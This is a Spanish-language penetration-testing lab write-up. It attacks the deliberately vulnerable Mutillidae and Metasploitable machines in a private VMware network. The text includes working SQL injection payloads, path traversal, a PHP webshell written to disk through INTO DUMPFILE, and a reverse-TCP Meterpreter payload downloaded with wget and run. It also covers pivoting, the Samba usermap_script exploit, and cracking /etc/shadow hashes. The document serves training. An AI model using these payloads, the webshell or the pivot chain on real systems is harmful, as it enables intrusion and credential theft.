Auditoría de Seguridad – Pentesting Web y Pivoting de Red

Metodología de Pentesting – Guía Completa Paso a Paso

Índice

1. Configuración del Laboratorio

1.1 Arquitectura de Red

 

1.2 Especificaciones Técnicas

Máquina Interfaz Red IP Gateway
Kali Linux eth0 Bridge 192.168.0.30 192.168.0.1
Ubuntu Mutillidae ens33 Bridge 192.168.0.21 192.168.0.1
ens37 Host-Only 192.168.8.131
Metasploitable eth0 Host-Only 192.168.8.133

1.3 Configuración de VMware

Kali Linux:

1. VM → Settings → Network Adapter
2. Adapter 1: Bridged (Automatic)

Ubuntu Mutillidae:

1. VM → Settings → Network Adapter
2. Adapter 1: Bridged (Automatic)
3. VM → Settings → Add → Network Adapter
4. Adapter 2: Custom (VMnet1 - Host-only)

Metasploitable:

1. VM → Settings → Network Adapter
2. Adapter 1: Custom (VMnet1 - Host-only)

1.4 Verificación de Conectividad

Desde Kali:

bash
# Verificar IP propia
ip addr show eth0
# Resultado esperado: 192.168.0.30# Verificar conectividad a Mutillidae (DMZ)
ping -c 4 192.168.0.21
# Debe funcionar# Intentar alcanzar Metasploitable (red interna)
ping -c 4 192.168.8.133
# ❌ NO debe funcionar (sin pivoting)

Desde Ubuntu Mutillidae:

bash
Verificar interfaces
ip addr show
# Resultado esperado:
# ens33: 192.168.0.21/24
# ens37: 192.168.8.131/24
# Verificar conectividad a Kali
ping -c 4 192.168.0.30
# Debe funcionar
# Verificar conectividad a Metasploitable
ping -c 4 192.168.8.133
# Debe funcionar

2. Fase 1: Reconocimiento

Se accede a la aplicación web Mutillidae desde la máquina Kali Linux, utilizando el navegador Firefox y navegando a la siguiente URL:

http://192.168.0.21/mutillidae

Al cargar la aplicación, se visualiza la página principal de Mutillidae, donde se presenta el menú de categorías OWASP en la parte superior de la interfaz.

2.1 Configuración de Burp Suite

En Kali:
En la máquina Kali Linux, se inicia Burp Suite y se configura para que actúe como proxy interceptor, con el objetivo de capturar, analizar y manipular las peticiones HTTP/HTTPS, con el fin de evaluar la seguridad de la aplicación web.

Configuración del Proxy:

1. Burp Suite → Proxy → Options
2. Proxy Listeners:
- Running: 
- Interface: 127.0.0.1:8080
3. Intercept Server Responses: 

Adicionalmente, se configura el navegador Firefox para que utilice Burp Suite como proxy, de forma que todo el tráfico generado desde el navegador sea redirigido a través de la herramienta y pueda ser inspeccionado y modificado según sea necesario.

Configurar Firefox:

1. Firefox → Preferencias → General
2. Configuración de red → Configuración
3. Configuración manual del proxy:
- Proxy HTTP: 127.0.0.1
- Puerto: 8080
- Usar también para HTTPS
4. Aceptar

2.2 Navegación Manual con Burp Suite

bash
# En Firefox (con proxy configurado):
http://192.168.0.21/mutillidae

Acciones realizadas:
1. Navegar por el menú principal
2. Visitar páginas de OWASP 2017:
– A1 – Injection → User Info (SQL)
– A1 – Injection → Login
– A7 – XSS → Reflected
– Others → File Upload
3. Probar formularios de login
4. Explorar diferentes secciones
Resultado en Burp Suite:

Burp Suite → Target → Site map 
http://192.168.0.21
└── mutillidae/
   ├── index.php
   ├── login.php
   ├── user-info.php
   ├── includes/
   │   ├── header.php
   │   ├── database-config.php
   │   └── ...
   ├── javascript/
   ├── images/
   └── styles/

2.3 Escaneo Automatizado con Skipfish

Paralelamente, llevo a cabo un análisis activo de la aplicación web Mutillidae con la herramienta Skipfish.
Desde la terminal de Kali Linux, se inicia Skipfish y se le indica el dominio desde donde comenzar el escaneo, en mi caso desde la página index.php. También le indico la carpeta donde quiero que Skipfish me guarde los resultados

bash
# Desde Kali:
skipfish -YO -o ~/Desktop/skipfish_resultados http://192.168.0.21/mutillidae/index.php

Parámetros:
– `-Y`: Omitir confirmaciones
– `-O`: Omitir página de inicio
– `-o`: Directorio de salida


Resultado:

[+] Scan statistics:
Duration: 15m 23s
HTTP requests: 8234
Nodes in database: 847
Directories: 124
Files: 723[+] Security findings:
High risk: 12
Medium risk: 34
Low risk: 89

Ver resultados:
Accedemos al directorio donde Skipfish ha almacenado los resultados del escaneo y abrimos el archivo index.html.
En dicho informe se presentan los resultados del rastreo, donde se detallan los dominios y subdominios enumerados, así como un resumen de los tipos de vulnerabilidades identificadas durante el análisis.

3. Fase 2: Explotación Web

En la fase de explotación de vulnerabilidades se realizan pruebas prácticas sobre los hallazgos detectados durante el análisis de la aplicación web, con el fin de comprobar su impacto real, documentarlos adecuadamente y facilitar su posterior corrección y prevención.

3.1 Ataque de Fuerza Bruta con Burp Suite

A partir del análisis del tráfico interceptado con Burp Suite, se identifica la petición HTTP correspondiente al proceso de autenticación de la aplicación web Mutillidae.

Se comprueba que Burp Suite permite capturar la solicitud de inicio de sesión, en la que se envían los parámetros de nombre de usuario y contraseña.

Con esta información, se procede a realizar pruebas de ataque de fuerza bruta sobre el mecanismo de autenticación, utilizando Burp Suite como herramienta de apoyo.

En primer lugar, se realiza una prueba inicial empleando inyección SQL con el fin de evaluar la robustez del sistema de autenticación frente a este tipo de ataques.

Paso 1: Capturar petición de login

bash
# En Burp Suite:
Proxy → Intercept is ON
# En Firefox:
http://192.168.0.21/mutillidae/index.php?page=login.php
# Introducir credenciales de prueba:
Username: usuario123
Password: pass123
Click en "Login"

Petición capturada en Burp:

http
POST /mutillidae/index.php?page=login.php HTTP/1.1
Host: 192.168.0.21
User-Agent: Mozilla/5.0...
Content-Type: application/x-www-form-urlencoded
Content-Length: 66username=usuario123&password=pass123&login-php-submit-button=Login

Paso 2: Modificar petición (SQL Injection)

Petición original:

username=usuario123&password=pass123&login-php-submit-button=Login

Petición modificada:

username=admin' OR '1'='1&password=cualquiercosa&login-php-submit-button=Login

En Burp Suite:

1. Modificar el parámetro username
2. Click en "Forward"
3. Intercept is OFF

Resultado en Firefox:

Logged In Admin: admin (g0t r00t?)

Paso 3: Fuerza Bruta con Burp Intruder

En una segunda fase, se realizan pruebas de fuerza bruta utilizando Burp Suite.

Para ello, se cierra la sesión activa en la aplicación web Mutillidae y, mediante Burp Suite, se localiza la petición HTTP POST correspondiente al proceso de autenticación.

Dicha petición se envía a la herramienta Intruder, donde se procede a la configuración del ataque. En el apartado Positions, se seleccionan los parámetros correspondientes al nombre de usuario y la contraseña, quedando la solicitud de la siguiente forma:

username=§usuario123§&password=§pass123§&login-php-submit-button=Login

A continuación, se selecciona el tipo de ataque Cluster Bomb, ya que se pretende evaluar combinaciones tanto de nombres de usuario como de contraseñas de forma simultánea.

En la fase de configuración de payloads, se podrían emplear diccionarios de credenciales; sin embargo, para agilizar la demostración, se introducen manualmente un conjunto reducido de usuarios y contraseñas. Entre ellos, se incluyen las credenciales de una cuenta creada específicamente para la prueba:

  • Usuario: estefania
  • Contraseña: estefania123

Configurar ataque:

1. Burp Suite → Proxy → HTTP history
2. Buscar petición POST a login.php
3. Click derecho → Send to Intruder
4. Intruder → Positions
5. Click en "Clear §" (limpiar marcadores)
6. Seleccionar manualmente:username=§usuario123§&password=§pass123§&login-php-submit-button=Login7. Attack type: Cluster bomb

Configurar payloads:

Intruder 
→ PayloadsPayload set 1 (username):
- admin
- john
- jeremy
- bryce
- estefania (cuenta creada para prueba)
- root
- test

→Payload set 2 (password):
- admin
- password
- 123456
- monkey
- estefania123 (password de cuenta de prueba)
- letmein
- test

Iniciar ataque:

Click en "Start attack"

Resultados:

Request | Payload 1 | Payload 2 | Status | Length
--------|-------------|--------------|--------|-------
45 | estefania | estefania123 | 302 | 459 ← Exitoso
12 | admin | admin | 200 | 59645 ← Fallido
23 | john | monkey | 200 | 59645 ← Fallido
...otros intentos... | 200 | 59645 ← Fallido

Identificar login exitoso:
– Status code: 302 (redirección)
– Length: Diferente al resto (459 vs 59645)

3.2 SQL Injection – Extracción de Datos

En el ámbito del pentesting web, una inyección de código es una vulnerabilidad de seguridad que permite la introducción y ejecución de código malicioso (como SQL, PHP, JavaScript o HTML) en el servidor o en la base de datos de una aplicación web.

Este tipo de vulnerabilidad se produce cuando la aplicación no valida ni sanitiza correctamente las entradas proporcionadas por el usuario, lo que permite la inserción de caracteres especiales que pueden ser utilizados para identificar puntos de inyección y ejecutar código no autorizado.

Tras comprobar que la base de datos es vulnerable a inyección SQL, en esta sección se realizan pruebas controladas de inyección de código relacionadas con las consultas SQL empleadas por la aplicación web.

Navegación a la página vulnerable:

Firefox → http://192.168.0.21/mutillidae
OWASP 2017 → A1 - Injection (SQL) → SQLi - Extract Data → User Info (SQL)

3.2.1 Obtener todos los usuarios

Payload:

sql
' OR 1=1--

Campo:Name
Resultado:26 usuarios con contraseñas en texto plano

Username Password Signature
admin admin g0t r00t?
john monkey I like the smell of confunk
jeremy password d1373 1337 speak
bryce password I Love SANS
ed pentest Hehehe
samurai samurai Carving fools
jim password Rome did not create a great empire by having meetings...
pablo letmein
dave password
adrian somepassword
... [16 usuarios más]

3.2.2 Bypass de Autenticación

En esta prueba se demuestra la posibilidad de eludir el mecanismo de autenticación de la aplicación web mediante una vulnerabilidad de inyección SQL.

Para ello, se accede a la sección correspondiente de la aplicación (OWASP 2017 > A1 – Injection (SQL) > SQLi – Bypass Authentication > Login), donde se verifica que el formulario de inicio de sesión no valida correctamente los datos introducidos.

Aprovechando esta debilidad, se introduce una condición lógica que evalúa siempre como verdadera dentro de la consulta SQL, lo que permite iniciar sesión sin disponer de una cuenta registrada. Como resultado, la aplicación concede acceso utilizando el primer usuario almacenado en la base de datos, que en este caso corresponde a un usuario con privilegios administrativos.

Navegación:

OWASP 2017 → A1 - Injection (SQL) → SQLi - Bypass Authentication → Login

Payload:

sql
' OR 1=1--

Campo:Name – Aquí introducimos nuestro payload SQL ‘ OR 1=1–
Password:(cualquier cosa o vacío)
Resultado:

Logged In Admin: admin

3.2.3 Determinar número de columnas

Payloads probados:

sql
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
' ORDER BY 4--
' ORDER BY 5--
' ORDER BY 6--
' ORDER BY 7-- ✅ Funciona
' ORDER BY 8-- ❌ Error: Unknown column '8'

Conclusión:La tabla tiene 7 columnas

3.2.4 Obtener nombre de la base de datos

Con el objetivo de identificar el nombre de la base de datos, se accede a la sección OWASP 2017 > A1 – Injection (SQL) > SQLi – Extract Data – User Info (SQL).

Inicialmente, se intenta obtener esta información mediante una consulta de unión; sin embargo, la aplicación devuelve un mensaje de error indicando que el número de columnas de la consulta no coincide con el de la tabla utilizada por la base de datos.

A partir de este comportamiento, se realizan distintas pruebas hasta determinar que la tabla consta de siete columnas. Una vez ajustada la consulta para que coincida con dicha estructura, la aplicación responde correctamente, devolviendo como resultado el nombre de la base de datos, que en este caso es Mutillidae.

Payload:

sql
' UNION SELECT null,database(),null,null,null,null,null--

Resultado:

mutillidae

3.2.5 Obtener versión de MySQL

Para conocer la versión de la base de datos, en la consulta, añado la variable versión ‘ union select null,version(),null,null,null,null,null–

El resultado nos muestra la versión.

Payload:

sql
' UNION SELECT null,version(),null,null,null,null,null--

Resultado:

5.7.33-0ubuntu0.20.04.1

3.2.6 Listar todas las tablas

Con el objetivo de identificar y enumerar las tablas existentes en la base de datos, se realiza una consulta orientada a extraer esta información desde el esquema interno. Como resultado de esta prueba, se confirma la existencia de 335 tablas, junto con sus respectivos nombres.

Payload:

sql
' UNION SELECT null,table_name,null,null,null,null,null FROM information_schema.tables WHERE table_schema='mutillidae'--

Resultado (355 tablas):

ADMNISTRABLE_ROLE_AUTHORIZATIONS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONTRAINTS
...

3.2.7 Acceder a ficheros de manera remota

Con el propósito de verificar el acceso remoto a archivos a través de la base de datos, se crea previamente un archivo de texto en el servidor Ubuntu que aloja la aplicación web, asignándole los permisos necesarios para que pueda ser leído por el gestor MySQL.

Posteriormente, se realiza una consulta diseñada para recuperar el contenido de dicho archivo desde la base de datos. Como resultado de esta prueba, se comprueba que es posible acceder de forma remota al contenido del fichero, evidenciando el impacto de la vulnerabilidad.

Payload:

sql
' union select null,load_file('/var/lib/mysql-files/ficheroprueba.txt'),null,null,null,null,null-- 

Resultado:

username=esto es una prueba

3.3 Path Traversal

En esta prueba se evalúa una vulnerabilidad de Path Traversal, cuya explotación consiste en manipular los parámetros de la URL para acceder a recursos distintos a los inicialmente previstos por la aplicación.

Durante el análisis, se identifica que el contenido mostrado por la aplicación depende del parámetro page. Aprovechando esta funcionalidad, se modifica el valor de dicho parámetro para forzar la carga de un archivo diferente, en este caso user-info.php, lo que permite visualizar información sensible, como el contenido del archivo passwd.

URL vulnerable:

http://192.168.0.21/mutillidae/index.php?page=user-info.php

Payload:

http://192.168.0.21/mutillidae/index.php?page=../../../../../etc/passwd

Resultado:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
... [contenido completo de /etc/passwd]

3.4 Remote Code Execution – Webshell Upload

En esta sección se evalúa una vulnerabilidad de Remote Code Execution (RCE) que permite la carga y ejecución de una webshell en el servidor web.

Mediante la explotación de una inyección SQL previamente identificada, se consigue escribir un archivo malicioso en el sistema de archivos del servidor web. Dicho archivo contiene código del lado del servidor que habilita la ejecución remota de comandos a través de una interfaz accesible desde el navegador.

Una vez creada la webshell y accediendo a ella desde la aplicación web Mutillidae, se obtiene una interfaz tipo terminal, desde la cual es posible ejecutar comandos del sistema y recopilar información sensible del servidor, demostrando así el impacto crítico de la vulnerabilidad.

Paso 1: Verificar permisos de escritura en Ubuntu

bash 
# Desde Ubuntu Mutillidae: 
sudo chmod 777 /var/www/html/mutillidae/ 

Verificar: ls -ld /var/www/html/mutillidae/

Resultado: drwxrwxrwx

Paso 2: Preparación de la webshell

En Kali se crea un archivo temporal con la webshell:

nano /tmp/webshell_code.txt

Contenido de la webshell:

<form action="" method="post" enctype="application/x-www-form-urlencoded"><table style="margin-left:auto; margin-right:auto;"><tr><td colspan="2">Please enter system command</td></tr><tr><td></td></tr><tr><td class="label">Command</td><td><input type="text" name="pCommand" size="50"></td></tr><tr><td></td></tr><tr><td colspan="2" style="text-align:center;"><input type="submit" value="Execute Command" /></td></tr></table></form><?php echo "<pre>";echo shell_exec($_REQUEST["pCommand"]);echo "</pre>"; ?>

Paso 3: Inyectar webshell mediante SQL

Payload (TODO EN UNA LÍNEA):

sql
' UNION SELECT null,null,null,null,null,null,'<form action="" method="post" enctype="application/x-www-form-urlencoded"><table style="margin-left:auto; margin-right:auto;"><tr><td colspan="2">Please enter system command</td></tr><tr><td></td></tr><tr><td class="label">Command</td><td><input type="text" name="pCommand" size="50"></td></tr><tr><td></td></tr><tr><td colspan="2" style="text-align:center;"><input type="submit" value="Execute Command" /></td></tr></table></form><?php echo "<pre>";echo shell_exec($_REQUEST["pCommand"]);echo "</pre>"; ?>' INTO DUMPFILE '/var/www/html/mutillidae/backdoor.php'--


Ejecutar en:

Firefox → OWASP 2017 → A1 - Injection (SQL) → SQLi - Extract Data → User Info (SQL)
Campo "Name": [pegar payload]
Click en "View Account Details"

Paso 4: Verificar creación de webshell

bash
# Desde Ubuntu Mutillidae:
ls -la /var/www/html/mutillidae/ | grep backdoor# Resultado:
-rw-rw-rw- 1 mysql mysql 512 ene 10 14:23 backdoor.php

Webshell creada exitosamente

Paso 5: Acceder a la webshell (Path Traversal)

En Firefox, se modifica la URL y como resultado obtenemos la interfaz de la webshell que se ha creado.

URL:

http://192.168.0.21/mutillidae/index.php?page=backdoor.php

Interfaz de la webshell:

 

Paso 6: Ejecutar comandos

Comando 1: Verificar usuario

Command: whoami
Resultado: www-data

Comando 2: Listar archivos

Command: ls -la
Resultado:
drwxrwxrwx 10 www-data www-data 4096 ene 10 14:23 .
drwxr-xr-x 3 root root 4096 sep 29 2023 ..
-rw-r--r-- 1 www-data www-data 8234 sep 29 2023 index.php
-rw-rw-rw-- 1 mysql mysql 512 ene 10 14:23 backdoor.php
... [más archivos]

Comando 3: Leer /etc/passwd

Command: cat /etc/passwd
Resultado: [contenido completo del archivo]

Fase 3: Post-Explotación

4.1 Descubrimiento de Red Interna

Comando:

Command: ip addr show

Resultado:

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536
inet 127.0.0.1/8 scope host lo2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
inet 192.168.0.21/24 brd 192.168.0.255 scope global ens333: ens37: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
inet 192.168.8.131/24 brd 192.168.8.255 scope global ens37

⚠️ Hallazgo crítico:
– **ens33:** 192.168.0.21 → Red externa (conocida)
– **ens37:** 192.168.8.131 → **RED INTERNA descubierta!

4.2 Escaneo de Red Interna

Comando:

Command: ping -c 1 192.168.8.133

Resultado:

PING 192.168.8.133 (192.168.8.133) 56(84) bytes of data.
64 bytes from 192.168.8.133: icmp_seq=1 ttl=64 time=0.387 ms--- 192.168.8.133 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss

✅ Host 192.168.8.133 activo (Metasploitable)

5. Fase 4: Pivoting

En esta fase se demuestra cómo, partiendo de un sistema previamente comprometido (Ubuntu con Mutillidae), es posible ampliar el alcance del ataque hacia otros equipos de la red interna que no son accesibles directamente desde la máquina atacante (Kali Linux).

Para ello, se aprovecha la webshell obtenida mediante Remote Code Execution para ejecutar un payload de Meterpreter, estableciendo una sesión persistente con Metasploit. Una vez obtenida dicha sesión, se configura el pivoting, utilizando el sistema comprometido como puente entre redes.

Gracias a esta técnica, se logra acceder y explotar una tercera máquina (Metasploitable) ubicada en una red host-only, culminando con la obtención de acceso root, lo que evidencia el impacto crítico de una cadena de ataque bien encadenada y la importancia de la segmentación y el control de accesos en entornos internos.

5.1 Generación de Payload Meterpreter

bash
# Desde Kali:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.30 LPORT=4444 -f elf > shell.elf 

Resultado:

Verificar creación:

bash
ls -lh shell.elf
# -rw-r--r-- 1 kali kali 207 ene 9 13:15 shell.elf

5.2 Transferir Payload a Ubuntu

Paso 1: Levantar servidor HTTP en Kali

bash
# En nueva ventana de terminal de Kali (no cerrar proceso):
python3 -m http.server 8000# Resultado:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Paso 2: Descargar desde webshell

Comando en webshell:

wget http://192.168.0.30:8000/shell.elf -O /tmp/shell.elf

Paso 3: Dar permisos de ejecución

Comando en webshell:

chmod +x /tmp/shell.elf

Verificar:

Command: ls -la /tmp/shell.elf
Resultado: -rwxr-xr-x 1 www-data www-data 207 ene 9 13:20 /tmp/shell.elf

Payload listo para ejecutar

El archivo se subió correctamente y ya tiene permisos de ejecución, lo sabemos porque observamos el mensaje -rwxr-xr-x 1 www-data www-data 207 ene 9 19:15 /tmp/shell.elf

5.3 Configurar Listener en Kali

En una nueva ventana de terminal de Kali iniciamos msfconsole. Y una vez dentro de msfconsole, se configura el handler:

bash
# Nueva terminal en Kali:
msfconsole

Dentro de msfconsole:

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.0.30
set LPORT 4444
exploit

Resultado:

[*] Started reverse TCP handler on 192.168.0.30:4444

Esto significa que Metasploit está esperando la conexión de Meterpreter.

5.4 Ejecutar Payload desde Ubuntu

Comando en webshell de Mutillidae:

/tmp/shell.elf

En Kali (msfconsole) verás:

[*] Sending stage (1017704 bytes) to 192.168.0.21
[*] Meterpreter session 1 opened (192.168.0.30:4444 -> 192.168.0.21:36722) at 2026-01-09 13:24:18 -0500meterpreter >

Se ha establecido una sesión de Meterpreter

5.5 Verificar Sesión Meterpreter

meterpreter > sysinfo

Resultado:

Vamos a ver las interfaces de red de Ubuntu para encontrar la red donde está Metasploitable

meterpreter > ifconfig

Resultado:

  • ens33: 192.168.0.21 → Red bridge (conecta con Kali)
  • ens37: 192.168.8.131 → Red host-only (donde está Metasploitable)

La red host-only es 192.168.8.0/24

5.6 Configurar Autoroute (Pivoting)

meterpreter > run autoroute -s 192.168.8.0/24

Resultado:

Verificar rutas:

meterpreter > run autoroute -p

Resultado:
Active Routing Table ====================Subnet Netmask Gateway ------ ------- ------- 192.168.8.0 255.255.255.0 Session 1


La ruta está activa y configurada correctamente.

Introducimos los siguientes comandos para averiguar la IP de Metasploitable

shell
ipneighbor
Comprobamos que ya tenemos las IPs
  • 192.168.0.30 → Mi Kali (Alcanzable – REACHABLE)
  • 192.168.8.133 → Esta debe ser Metasploitable 
  • 192.168.8.1 y 192.168.8.254 → Gateways de la red host-only

5.7 Escanear Red Interna a través del Pivoting

A continuación se escanean los puertos de Metasploitable pero antes salimos de la sesión y la ponemos en background.

meterpreter > exit
meterpreter > background

Ahora en msfconsole:

use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.8.133
set PORTS 21,22,23,25,80,139,445,3306,5432,8180
set THREADS 10
run

Resultado:

El escaneo encontró 3 puertos abiertos:
3306 → MySQL
5432 → PostgreSQL
8180 → Apache Tomcat

Parece que los puertos típicos (21, 22, 23, 80, 139, 445) están filtrados o cerrados. Vamos a hacer un escaneo más amplio y luego explotar algún servicio.

Escaneo más completo:

set PORTS 1-10000
set THREADS 20
run

Resultado (puertos abiertos encontrados):

21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
25/tcp open smtp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
8009/tcp open ajp13
8180/tcp open unknown

6. Fase 5: Explotación Red Interna

6.1 Identificar Vulnerabilidad en Samba

use exploit/multi/samba/usermap_script

set RHOSTS 192.168.8.133

set PAYLOAD cmd/unix/bind_perl

exploit

Resultado:

*Command shell session 2 opened (192.168.8.131:40362 -> 192.168.8.133:4444 via session 1)
Ya tenemos acceso a Metasploitable a través del pivoting
via session 1 → Está usando mi sesión Meterpreter en Ubuntu como puente
192.168.8.131 (Ubuntu) → 192.168.8.133 (Metasploitable)

6.2 Verificar Acceso

whoami

Resultado:

root

Acceso ROOT obtenido

 

6.3 Enumeración del Sistema

Hostname:

hostname

Resultado: `metasploitable`

Sistema operativo:

uname -a

Resultado:

Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux

Interfaces de red:

ifconfig

Resultado:

eth0      Link encap:Ethernet  HWaddr 00:0c:29:80:d3:95
          inet addr:192.168.8.133  Bcast:192.168.8.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1

7. Fase 6: Post-Explotación Avanzada

Una vez comprometido el sistema objetivo y obtenido acceso con privilegios elevados, se inicia la fase de post-explotación, centrada en la extracción y análisis de credenciales almacenadas en el sistema. En esta etapa, se recopilan los hashes de contraseñas obtenidos del archivo /etc/shadow, los cuales contienen las contraseñas de los usuarios del sistema en formato cifrado.

Los hashes extraídos se almacenan en un archivo local en la máquina atacante (Kali Linux) con el objetivo de analizarlos posteriormente. Para el proceso de descifrado, se utiliza la herramienta John the Ripper, especializada en el cracking de contraseñas mediante ataques de diccionario y fuerza bruta.

Mediante el uso de diccionarios comunes y reglas básicas, John the Ripper logra recuperar algunas contraseñas en texto plano, demostrando que varios usuarios utilizan credenciales débiles o fácilmente adivinables. Este resultado evidencia el impacto de una mala política de contraseñas, ya que permite al atacante reutilizar las credenciales obtenidas para acceder a otros servicios o sistemas, facilitando la escalada lateral y el compromiso completo del entorno.

7.1 Extracción de /etc/shadow

cat /etc/shadow

Resultado:

root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
daemon:*:14684:0:99999:7:::
bin:*:14684:0:99999:7:::
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:14742:0:99999:7:::
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:14742:0:99999:7:::
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:14684:0:99999:7:::
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:14685:0:99999:7:::
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:14699:0:99999:7:::
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:14715:0:99999:7:::

 

Guardar hashes:
Desde Kali, crear archivo hashes.txt:

nano hashes.txt

Contenido de hashes.txt:

root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.
sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0
msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/
postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0
service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//

7.2 Identificar Tipo de Hash

Desde Kali:

hashid '$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.'

Resultado:

Analyzing '$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.'
[+] MD5 Crypt
[+] Cisco-IOS(MD5)
[+] FreeBSD MD5

Conclusión: Hashes MD5 Crypt

7.3 Cracking con John the Ripper

Desde Kali:

john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

Resultado:

7.4 Resumen de Credenciales Crackeadas

Usuario Hash (MD5 Crypt) Contraseña Estado
klog $1$f2ZVMS4K$R9XkI.Cm… 123456789 ✅ Crackeado
sys $1$fUX6BPOt$Miyc3Up… batman ✅ Crackeado
service $1$kR3ue7JZ$7GxELD… service ✅ Crackeado
root $1$/avpfBJ1$x0z8w5U… ❌ No crackeado
msfadmin $1$XN10Zj2c$Rt/zzC… ❌ No crackeado
user $1$HESu9xrH$k.o3G93… ❌ No crackeado
postgres $1$Rw35ik.x$MgQgZU… ❌ No crackeado

8. Resumen de Comandos Utilizados

Reconocimiento

# Burp Suite
burpsuite &

# Skipfish
skipfish -YO -o ~/Desktop/skipfish_resultados http://192.168.0.21/mutillidae/index.php

SQL Injection

-- Extracción de usuarios
' OR 1=1-- 

-- Bypass autenticación
' OR 1=1-- 

-- Determinar columnas
' ORDER BY 7-- 

-- Obtener nombre de la BD
' UNION SELECT null,database(),null,null,null,null,null-- 

-- Obtener versión
' UNION SELECT null,version(),null,null,null,null,null-- 

-- Listar tablas
' UNION SELECT null,table_name,null,null,null,null,null FROM information_schema.tables WHERE table_schema='mutillidae'-- 

-- Leer archivo
' union select null,load_file('/var/lib/mysql-files/ficheroprueba.txt'),null,null,null,null,null--

-- Upload webshell
' UNION SELECT null,null,null,null,null,null,'[CÓDIGO PHP]' INTO DUMPFILE '/var/www/html/mutillidae/backdoor.php'--

Comandos de Webshell

whoami
ls -la
cat /etc/passwd
ip addr show
ping -c 1 192.168.8.133

Metasploit – Meterpreter

# Generar payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.30 LPORT=4444 -f elf > shell.elf

# Servir payload
python3 -m http.server 8000

# Listener
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.0.30
set LPORT 4444
exploit

# Pivoting
run autoroute -s 192.168.8.0/24
run autoroute -p
background

Metasploit – Samba Exploit

# Escaneo de puertos
use auxiliary/scanner/portscan/tcp 
set RHOSTS 192.168.8.133 
set PORTS 21,22,23,25,80,139,445,3306,5432,8180 
set THREADS 10
run

# Exploit Samba
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.8.133
set PAYLOAD cmd/unix/bind_perl
exploit

Password Cracking

# Identificar hash
hashid '$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.'

# Crackear con John
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt


9. Herramientas y Versiones

Herramienta Versión Propósito
Kali Linux 2024.1 Sistema operativo atacante
Burp Suite Community 2024.x Proxy interceptor
Skipfish 2.10b Web scanner
Metasploit Framework 6.3.x Plataforma de explotación
msfvenom 6.3.x Generador de payloads
John the Ripper 1.9.0 Password cracker
Python 3.11 HTTP server
Firefox 115 ESR Navegador web

10. Referencias

  1. OWASP Testing Guide
  2. Metasploit Unleashed
  3. Burp Suite Documentation
  4. CVE-2007-2447

Autora: Estefanía Ramírez Martínez
Fecha: Enero 2026
Licencia: MIT